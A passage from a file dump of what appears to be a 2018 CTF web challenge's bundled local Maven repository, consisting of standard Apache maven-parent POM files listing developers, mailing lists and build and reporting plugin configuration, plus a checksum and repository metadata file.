<artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.9.1</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.7.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>cobertura-maven-plugin</artifactId>\n            <version>2.5.1</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n          </plugin>\n          <!-- Taglist Plugin must be executed after JXR Plugin -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8.1</version>\n            <configuration>\n              <links>\n                <link>http://commons.apache.org/collections/apidocs-COLLECTIONS_3_0/</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n              <detectLinks>true</detectLinks>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.apache.maven.plugin-tools</groupId>\n                  <artifactId>maven-plugin-tools-javadoc</artifactId>\n                  <version>3.1</version>\n                </tagletArtifact>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>findbugs-maven-plugin</artifactId>\n            <version>2.5.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.sonar-plugins</groupId>\n            <artifactId>maven-report</artifactId>\n            <version>0.1</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/22/maven-parent-22.pom.sha1",
    "content": "b8b69066f9f1c388a977669871df9b66782f751a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/23/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:07 CST 2018\nmaven-parent-23.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/23/maven-parent-23.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/maven/ -->\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>13</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>23</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <email>baerrach@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Australia/Adelaide</timezone>\n    </developer>\n    <developer>\n      <id>bimargulies</id>\n      <name>Benson Margulies</name>\n      <email>bimargulies@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>America/New_York</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rfscholte</id>\n      <name>Robert Scholte</name>\n      <email>rfscholte@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Amsterdam</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>struberg</id>\n      <name>Mark Struberg</name>\n      <email>struberg@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wfay</id>\n      <name>Wayne Fay</name>\n      <email>wfay@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>andham</id>\n      <name>Anders Hammar</name>\n      <email>andham@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bdemers</id>\n      <name>Brian Demers</name>\n      <organization>Sonatype</organization>\n      <email>bdemers@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>cstamas</id>\n      <name>Tamas Cservenak</name>\n      <organization>Sonatype</organization>\n      <email>cstamas@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dbradicich</id>\n      <name>Damian Bradicich</name>\n      <organization>Sonatype</organization>\n      <email>dbradicich@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>godin</id>\n      <name>Evgeny Mandrikov</name>\n      <organization>SonarSource</organization>\n      <email>godin@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+3</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mauro</id>\n      <name>Mauro Talevi</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas de Loof</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>simonetripodi</id>\n      <name>Simone Tripodi</name>\n      <email>simonetripodi@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>tchemit</id>\n      <name>Tony Chemit</name>\n      <email>tchemit@apache.org</email>\n      <organization>CodeLutin</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    \n    <!--End Committers-->\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>jruiz</id>\n      <name>Johnny Ruiz III</name>\n      <email>jruiz@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Users-f40176.html</otherArchive>\n        <otherArchive>http://maven.users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html</otherArchive>\n        <otherArchive>http://maven.dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html</otherArchive>\n        <otherArchive>http://maven.issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html</otherArchive>\n        <otherArchive>http://maven.commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html</otherArchive>\n        <otherArchive>http://maven.announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html</otherArchive>\n        <otherArchive>http://maven.notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-23</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-23</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-23</url>\n  </scm>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/view/M-R/view/Maven</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n    <maven.site.cache>${user.home}/maven-sites</maven.site.cache>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-annotations</artifactId>\n        <version>3.2</version>\n        <scope>provided</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- The Maven universe targets Java 1.5 -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>3.0</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.2</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.4.1</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <!-- Plexus description generator is either plexus-maven-plugin or plexus-component-metadata -->\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>findbugs-maven-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <useReleaseProfiles>true</useReleaseProfiles>\n            <releaseProfiles>apache-release,rat</releaseProfiles>\n            <goals>deploy</goals>\n            <arguments>${arguments}</arguments>\n          </configuration>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.6</version>\n        <configuration>\n          <dependencyLocationsEnabled>false</dependencyLocationsEnabled><!-- waiting for MPIR-267 -->\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>dependency-info</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>rat</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.rat</groupId>\n            <artifactId>apache-rat-plugin</artifactId>\n            <executions>\n              <execution>\n                <phase>verify</phase>\n                <goals>\n                  <!-- rat, not check, because we've got lots of noncomplaint stuff -->\n                  <goal>rat</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>quality-checks</id>\n      <activation>\n        <property>\n          <name>quality-checks</name>\n          <value>true</value>\n        </property>\n      </activation>\n      <build>\n        <plugins>\n          <!--<plugin>\n          Clirr needs to be more flexble before we can force this everywhere. New releases that don't have previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.7.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.6</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.12.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.9.1</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>checkstyle</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.7.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.3</version>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  